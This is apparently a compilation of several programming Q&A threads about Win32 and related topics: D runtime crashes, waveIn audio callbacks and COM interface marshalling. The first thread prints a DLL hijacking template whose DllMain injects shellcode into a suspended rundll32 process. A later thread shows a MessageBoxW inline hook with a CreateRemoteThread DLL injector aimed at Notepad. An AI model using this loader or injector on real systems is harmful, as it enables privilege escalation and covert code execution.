Related
I'm learning about DLL Hijacking, going step by step this video made by Vivek - Privilege Escalation using DLL Hijacking
Everything is very well explained, but there is one passage that is getting me in trouble. It's about compiling "template.c" with mingw32 on Kali Linux. When I'm doing the same thing as is described in video, means:
root#kali:~# i686-w64-mingw32-gcc-win32 template.c -o template.dll
-shared
I'm still getting this error:
/tmp/ccRJy0bd.o:template.c:(.text+0x49): undefined reference to
`inline_bzero' collect2: error: ld returned 1 exit status
Here is source code of "template.c"
#include <windows.h>
#include "template.h"
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
And "template.h", if needed.
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
Solved.
Just remove "#if BUILDMODE == 2" and "#endif" lines, then compilation is successfully done.
Just remove #if BUILDMODE == 2 and #endif lines, then compilation is successfully done.
In D, my garbage collector is crashing every time I launch my application.
Windows Module:
pragma(lib, "user32.lib");
import std.string;
extern(Windows) {
void* CreateWindowExW(uint extendedStyle ,
const char* classname,
const char* title,
uint style,
int x, int y,
int width, int height,
void* parentHandle,
void* menuHandle,
void* moduleInstance,
void* lParam);
}
class Window {
private void* handle;
private string title;
this(string title, const int x, const int y, const int width, const int height) {
this.title = title;
handle = CreateWindowExW(0, null, toStringz(this.title), 0, x, y, width, height, null, null, null, null);
if(handle == null)
throw new Exception("Error while creating Window (WinAPI)");
}
}
Main Module:
import std.stdio;
version(Windows) {
import windows;
extern (Windows) {
int WinMain(void* hInstance, void* hPrevInstance, char* lpCmdLine, int nCmdShow) {
import core.runtime;
Runtime.initialize();
scope(exit) Runtime.terminate();
auto window = new Window("Hello", 0, 0, 0, 0);
writeln("test");
return 0;
}
}
}
This gives me an Access Violation in location 0. When I view the dissassembly, it's crashing in
0040986F mov ecx,dword ptr [eax]
This assembly is located inside _gc_malloc.
EDIT: Here is the new code:
Windows Module:
pragma(lib, "user32.lib");
import std.utf;
extern(Windows) {
void* CreateWindowExW(uint extendedStyle ,
const wchar* classname,
const wchar* title,
uint style,
int x, int y,
int width, int height,
void* parentHandle,
void* menuHandle,
void* moduleInstance,
void* lParam);
}
class Window {
private void* handle;
private wstring title;
this(wstring title, const int x, const int y, const int width, const int height) {
this.title = title;
handle = CreateWindowExW(0, null, toUTFz!(wchar*)(this.title), 0, x, y, width, height, null, null, null, null);
if(handle == null)
throw new Exception("Error while creating Window (WinAPI)");
}
}
WinMain:
int WinMain(void* hInstance, void* hPrevInstance, char* lpCmdLine, int nCmdShow) {
import core.runtime;
try {
Runtime.initialize();
scope(exit) Runtime.terminate();
auto window = new Window("Hello", 0, 0, 0, 0);
writeln("test");
} catch(Exception ex) {
writeln(ex.toString);
}
return 0;
}
When I run this second code, I also get an Access Violation, on a random (to me) address.
Dissasembly (inside __d_createTrace):
0040C665 cmp dword ptr [ecx+1Ch],0
David Heffernan's post has good information, but won't fix the main problem here, which is that the D runtime is not initialized. You code should throw an exception, your arguments to create window are wrong, but it should not be an access violation.
The easiest way to solve this is to define a regular main function instead of WinMain. WinMains are valid in D, but if you define your own, it skips the druntime initialization functions. (The runtime, src/druntime/src/rt/main2.d if you're interested) define a C main function which does setup tasks, then calls your D main function. The C main btw is, in turn, called from WinMain by the C runtime.
If you need the arguments for the instance or command line, you can get with with the Windows API function GetModuleHandle(null) and GetCommandLineW().
Alternatively, you can initialize the runtime yourself in your WinMain function:
extern (Windows) {
int WinMain(void* hInstance, void* hPrevInstance, char* lpCmdLine, int nCmdShow) {
import core.runtime; // the Runtime functions are in here
Runtime.initialize(); // initialize it!
auto window = new Window("Hello", 0, 0, 0, 0);
return 0;
}
}
The other thing you should do is terminate it and catch exceptions. An uncaught exception on Windows by default will trigger the system debugger, so it isn't all bad, but typically in D programs, you expect a nicer message. So do something like this:
int WinMain(void* hInstance, void* hPrevInstance, char* lpCmdLine, int nCmdShow) {
import core.runtime;
Runtime.initialize();
scope(exit) Runtime.terminate();
try
auto window = new Window("Hello", 0, 0, 100, 100);
catch(Throwable t)
MessageBoxW(null, toUTFz!(wchar*)(t.toString()), null, 0);
return 0;
}
So I initialized it there, terminated when the function returned, and also caught the exception and put it in a message box for easier reading. I put a prototype to MessageBoxW in myself, just like you did for CreateWindow. You can also fetch more complete win32 bindings here http://www.dsource.org/projects/bindings/browser/trunk/win32 (I think that's the up to date link anyway.)
Again though, you can also just use a D main function which does this kind of thing for you. WinMain gives more control but isn't required by D.
CreateWindowExW takes 16-bit strings rather than 8 bit strings. I'm not sure how to achieve that in D. I assume that char is 8 bit as it is in C++ on Windows? You could use CreateWindowExA I suppose, but it would be better to pass 16-bit UTF-16 text.
It must be an error to pass null for the lpClassName parameter. A window does need a window class.
I'm doing audio sampling with waveInProc callback. The problem is that when I'm trying to stop sampling and close the audio device I get no msg in the callback - tried waveInStop, waveInClose, waveInReset.
Pls advice.
10xs,
Nahum
HWAVEIN hWaveIn
waveInOpen(&hWaveIn,WAVE_MAPPER,&waveform,(DWORD)waveInProc,0, CALLBACK_FUNCTION);
waveInStart(hWaveIn);
waveInStop(hWaveIn); //OR
waveInClose(hWaveIn); //OR
waveInReset(hWaveIn); //OR
UPDATE: Here is the code:
Starting:
waveInOpen(&hWaveIn,WAVE_MAPPER,&waveform,(DWORD)waveInProc,0, CALLBACK_FUNCTION);
waveInPrepareHeader(hWaveIn,pWaveHdr1,sizeof(WAVEHDR));
waveInAddBuffer(hWaveIn,pWaveHdr1,sizeof(WAVEHDR));
waveInStart(hWaveIn);
void CALLBACK waveInProc( HWAVEIN hwi, UINT uMsg, DWORD dwInstance,
DWORD dwParam1, DWORD dwParam2 )
{
if (uMsg == WIM_OPEN)
{
return;
}
if (uMsg == WIM_DATA)
{
//process data
waveInAddBuffer(hWaveIn,(PWAVEHDR)dwParam1,sizeof(WAVEHDR));
return;
}
if (uMsg == WIM_CLOSE) //NOT GETTING THIS MSG
{
printf("*****************got WIM_CLOSE\n");
}
}
So how to stop sampling and close the audio device?
Here is the code:
Starting:
waveInOpen(&hWaveIn,WAVE_MAPPER,&waveform,(DWORD)waveInProc,0, CALLBACK_FUNCTION);
waveInPrepareHeader(hWaveIn,pWaveHdr1,sizeof(WAVEHDR));
waveInAddBuffer(hWaveIn,pWaveHdr1,sizeof(WAVEHDR));
waveInStart(hWaveIn);
void CALLBACK waveInProc( HWAVEIN hwi, UINT uMsg, DWORD dwInstance,
DWORD dwParam1, DWORD dwParam2 )
{
if (uMsg == WIM_OPEN)
{
return;
}
if (uMsg == WIM_DATA)
{
//process data
waveInAddBuffer(hWaveIn,(PWAVEHDR)dwParam1,sizeof(WAVEHDR));
return;
}
if (uMsg == WIM_CLOSE) //NOT GETTING THIS MSG
{
printf("*****************got WIM_CLOSE\n");
}
}
So how to stop sampling and close the audio device?
10xs,
Nahum
Are you checking your waveInOpen result?
Because it works as expected:
hWaveIn 0x005B7768, nMessage 0x03BE, nInstance 0, nParameter1 0, nParameter2 0
nWaveInOpenResult 0, hWaveIn 0x005B7768
hWaveIn 0x005B7768, nMessage 0x03BF (WIM_CLOSE), nInstance 0, nParameter1 0, nParameter2 0
Code:
#include "stdafx.h"
#include <mmsystem.h>
#pragma comment(lib, "winmm.lib")
VOID CALLBACK waveInProc(HWAVEIN hWaveIn, UINT nMessage, DWORD_PTR nInstance, DWORD_PTR nParameter1, DWORD_PTR nParameter2)
{
_tprintf(_T("hWaveIn 0x%p, nMessage 0x%04X, nInstance %d, nParameter1 %d, nParameter2 %d\n"), hWaveIn, nMessage, nInstance, nParameter1, nParameter2);
}
int _tmain(int argc, _TCHAR* argv[])
{
WAVEFORMATEX Format = { WAVE_FORMAT_PCM, 1, 8000, 16000, 2, 16, 0 };
HWAVEIN hWaveIn = NULL;
const MMRESULT nWaveInOpenResult = waveInOpen(&hWaveIn, WAVE_MAPPER, &Format, (DWORD_PTR) &waveInProc, 0, CALLBACK_FUNCTION);
_tprintf(_T("nWaveInOpenResult %d, hWaveIn 0x%p\n"), nWaveInOpenResult, hWaveIn);
waveInStart(hWaveIn);
waveInStop(hWaveIn);
waveInClose(hWaveIn);
return 0;
}
While processing data in real code make sure to take this into consideration: within the callback function:
Applications should not call any system-defined functions from inside
a callback function, except for EnterCriticalSection,
LeaveCriticalSection, midiOutLongMsg, midiOutShortMsg,
OutputDebugString, PostMessage, PostThreadMessage, SetEvent,
timeGetSystemTime, timeGetTime, timeKillEvent, and timeSetEvent.
Calling other wave functions will cause deadlock.
To re-add buffer, you need to indicate such as need by signalling to another thread, using PostMessage or SetEvent, so that your code outside of the callback could receive this indication and re-add the empty buffer from there.
I have the first program (written in Win32 API) using a lot of SendMessage() API; it's already done and works.
The problem is I want to write a second one that can detect SendMessage() is called in the first program and if possible, capture its data (HANDLE, WPARAM, LPARAM...)
Does anyone know solution for this problem?
The DLLStudy.dll:
EDIT: ok, this is what I have so far.
#include <windows.h>
#define SIZE 6
typedef int (WINAPI *pMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);
int WINAPI MyMessageBoxW(HWND, LPCWSTR, LPCWSTR, UINT);
void BeginRedirect(LPVOID);
pMessageBoxW pOrigMBAddress = NULL;
BYTE oldBytes[SIZE] = {0};
BYTE JMP[SIZE] = {0};
DWORD oldProtect, myProtect = PAGE_EXECUTE_READWRITE;
INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved)
{
switch(Reason)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "Test", "OK", MB_OK);
pOrigMBAddress = (pMessageBoxW)
GetProcAddress(GetModuleHandle(L"user32.dll"), "MessageBoxW");
if(pOrigMBAddress != NULL)
BeginRedirect(MyMessageBoxW);
break;
case DLL_PROCESS_DETACH:
memcpy(pOrigMBAddress, oldBytes, SIZE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
void BeginRedirect(LPVOID newFunction)
{
BYTE tempJMP[SIZE] = {0xE9, 0x90, 0x90, 0x90, 0x90, 0xC3};
memcpy(JMP, tempJMP, SIZE);
DWORD JMPSize = ((DWORD)newFunction - (DWORD)pOrigMBAddress - 5);
VirtualProtect((LPVOID)pOrigMBAddress, SIZE,
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(oldBytes, pOrigMBAddress, SIZE);
memcpy(&JMP[1], &JMPSize, 4);
memcpy(pOrigMBAddress, JMP, SIZE);
VirtualProtect((LPVOID)pOrigMBAddress, SIZE, oldProtect, NULL);
}
int WINAPI MyMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uiType)
{
VirtualProtect((LPVOID)pOrigMBAddress, SIZE, myProtect, NULL);
memcpy(pOrigMBAddress, oldBytes, SIZE);
int retValue = MessageBoxW(hWnd, lpText, lpCaption, uiType);
memcpy(pOrigMBAddress, JMP, SIZE);
VirtualProtect((LPVOID)pOrigMBAddress, SIZE, oldProtect, NULL);
return retValue;
}
The Injector.cpp
#include <windows.h>
#include <iostream>
using namespace std;
char const Path[]="DLLStudy.dll";
int main(int argc, char* argv)
{
HANDLE hWnd, hProcess, AllocAdresse, hRemoteThread;
DWORD PID;
hWnd = FindWindow(0,"Notepad");
GetWindowThreadProcessId((HWND)hWnd, &PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
AllocAdresse = VirtualAllocEx(hProcess, 0, sizeof(Path), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, (void*)AllocAdresse, (void*)Path, sizeof(Path), 0);
hRemoteThread=CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"), AllocAdresse, 0, 0);
WaitForSingleObject(hRemoteThread, INFINITE);
VirtualFreeEx(hProcess, AllocAdresse, sizeof(Path), MEM_DECOMMIT);
CloseHandle(hProcess);
}
EDIT 2: Well, I've managed to make it work. So how to get data from SendMessage() if it is called?
You need to use CreateRemoteThread to inject a DLL into the first application. In the DLL's entrymain, you'd write code to remap the external call to SendMessage to your own SendMessageX which can then tell your other application when SendMessage is being called, and then pass the original call to the WIN32 subsystem.
Here is a concrete example:
I create a IWeBrowser2 interface by calling wb.CoCreateInstance(CLSID_InternetExplorer, 0, CLSCTX_SERVER);. This gives me a marshaled interface from my process into whichever of the running iexplore.exe processes happens to contain this browser tab in my thread A.
Now I use the IGlobalInterfaceTable to get a cookie for this interface, pass it to my thread B and request the marshaled interface from there.
Question: Do I get a proxy to the proxy in my thread A or directly to the instance in the IE process?
It seems sensible to me that I will get a direct proxy to the instance with its own reference to it, however:
If I end my thread A, the cookie I created there becomes invalid and I can't retrieve (and close) the interface pointers to the web browsers I created any more. This does not make sense unless there is a thunk in that thread that is destroyed when the thread quits.
Edit: Oh, both threads are STA.
I finally had some time to figure out what is happening, so I wrote a short test to see what is going on.
// MarshalTest.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
enum { WM_THEREYOUGO = WM_USER+1, WM_THANKYOU, WM_YOURWELCOME };
DWORD WINAPI TheOtherThread(DWORD * main_thread_id)
{
MSG msg = { 0 };
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
assert(SUCCEEDED(hr));
{
// create web browser
CComPtr<IWebBrowser2> wb;
hr = wb.CoCreateInstance(CLSID_InternetExplorer, 0, CLSCTX_SERVER);
assert(SUCCEEDED(hr) && wb);
// navigate
hr = wb->Navigate2(&CComVariant(_T("stackoverflow.com")), &CComVariant(0), &CComVariant(_T("")), &CComVariant(), &CComVariant());
assert(SUCCEEDED(hr));
hr = wb->put_Visible(VARIANT_TRUE);
assert(SUCCEEDED(hr));
// Marshal
DWORD the_cookie = 0;
{
CComPtr<IGlobalInterfaceTable> com_broker;
hr = com_broker.CoCreateInstance(CLSID_StdGlobalInterfaceTable);
assert(SUCCEEDED(hr));
hr = com_broker->RegisterInterfaceInGlobal(wb, __uuidof(IWebBrowser2), &the_cookie);
}
// notify main thread
PostThreadMessage(*main_thread_id, WM_THEREYOUGO, the_cookie, NULL);
// message loop
while(GetMessage(&msg, 0, 0, 0)) {
if(msg.hwnd == NULL) {
// thread message
switch(msg.message) {
case WM_THANKYOU:
PostQuitMessage(0);
break;
}
} else {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
CoUninitialize();
PostThreadMessage(*main_thread_id, WM_YOURWELCOME, 0, NULL);
return msg.wParam;
}
int _tmain(int argc, _TCHAR* argv[])
{
MSG msg = {0};
DWORD main_thread_id = GetCurrentThreadId();
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
assert(SUCCEEDED(hr));
{
DWORD ThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TheOtherThread, &main_thread_id, 0, &ThreadId);
DWORD the_cookie = 0;
CComPtr<IWebBrowser2> wb, wb2;
while(GetMessage(&msg, 0, 0, 0)) {
if(msg.hwnd == NULL) {
// thread message
switch(msg.message) {
case WM_THEREYOUGO:
// we got the cookie.
the_cookie = msg.wParam;
// get the browser. This should work.
{
CComPtr<IGlobalInterfaceTable> com_broker;
hr = com_broker.CoCreateInstance(CLSID_StdGlobalInterfaceTable);
assert(SUCCEEDED(hr));
hr = com_broker->GetInterfaceFromGlobal(the_cookie, __uuidof(IWebBrowser2), (void**)&wb);
assert(SUCCEEDED(hr) && wb);
}
// do something with it.
hr = wb->put_FullScreen(VARIANT_TRUE);
assert(SUCCEEDED(hr));
// signal the other thread.
PostThreadMessage(ThreadId, WM_THANKYOU, 0, NULL);
break;
case WM_YOURWELCOME:
// the other thread has ended.
PostQuitMessage(0);
break;
}
} else {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
// the other thread has ended. Try getting the interface again.
{
CComPtr<IGlobalInterfaceTable> com_broker;
hr = com_broker.CoCreateInstance(CLSID_StdGlobalInterfaceTable);
assert(SUCCEEDED(hr));
hr = com_broker->GetInterfaceFromGlobal(the_cookie, __uuidof(IWebBrowser2), (void**)&wb2);
//assert(SUCCEEDED(hr) && wb2); // this fails, hr == E_INVALIDARG.
// clean up, will not be executed.
if(SUCCEEDED(hr)) {
hr = com_broker->RevokeInterfaceFromGlobal(the_cookie);
}
}
// try using it
if(wb2) {
hr = wb2->put_FullScreen(VARIANT_FALSE);
assert(SUCCEEDED(hr));
} else if(wb) {
// this succeeds
hr = wb->put_FullScreen(VARIANT_FALSE);
assert(SUCCEEDED(hr));
}
CloseHandle(hThread);
}
CoUninitialize();
return msg.wParam;
}
The bottom line is this:
Ending the thread that registered the interface invalidates the cookie.
The already marshaled interface stays valid. (In this case, that is.)
This means that I get a proxy to the IE process instead of to the other thread's object.
You already got a proxy on thread A since you asked for an out-of-process server. What happens next depends on the kind of apartment that thread A lives in, the argument to CoInitializeEx(). If it is MTA you will definitely get the same proxy in thread B, assuming it is MTA as well. The added reference count should keep it alive if Thread A exits. If it is STA then I'm not 100% sure but think you ought to get a new one. Easy to test btw, just use the one from thread A and you'll get RPC_E_WRONGTHREAD if a new one would have to be created.
I don't have a great explanation for why the thread A exit kills the proxy for thread B. Unless you call IGlobalInterfaceTable::RevokeInterfaceFromGlobal(). Which you'd normally do.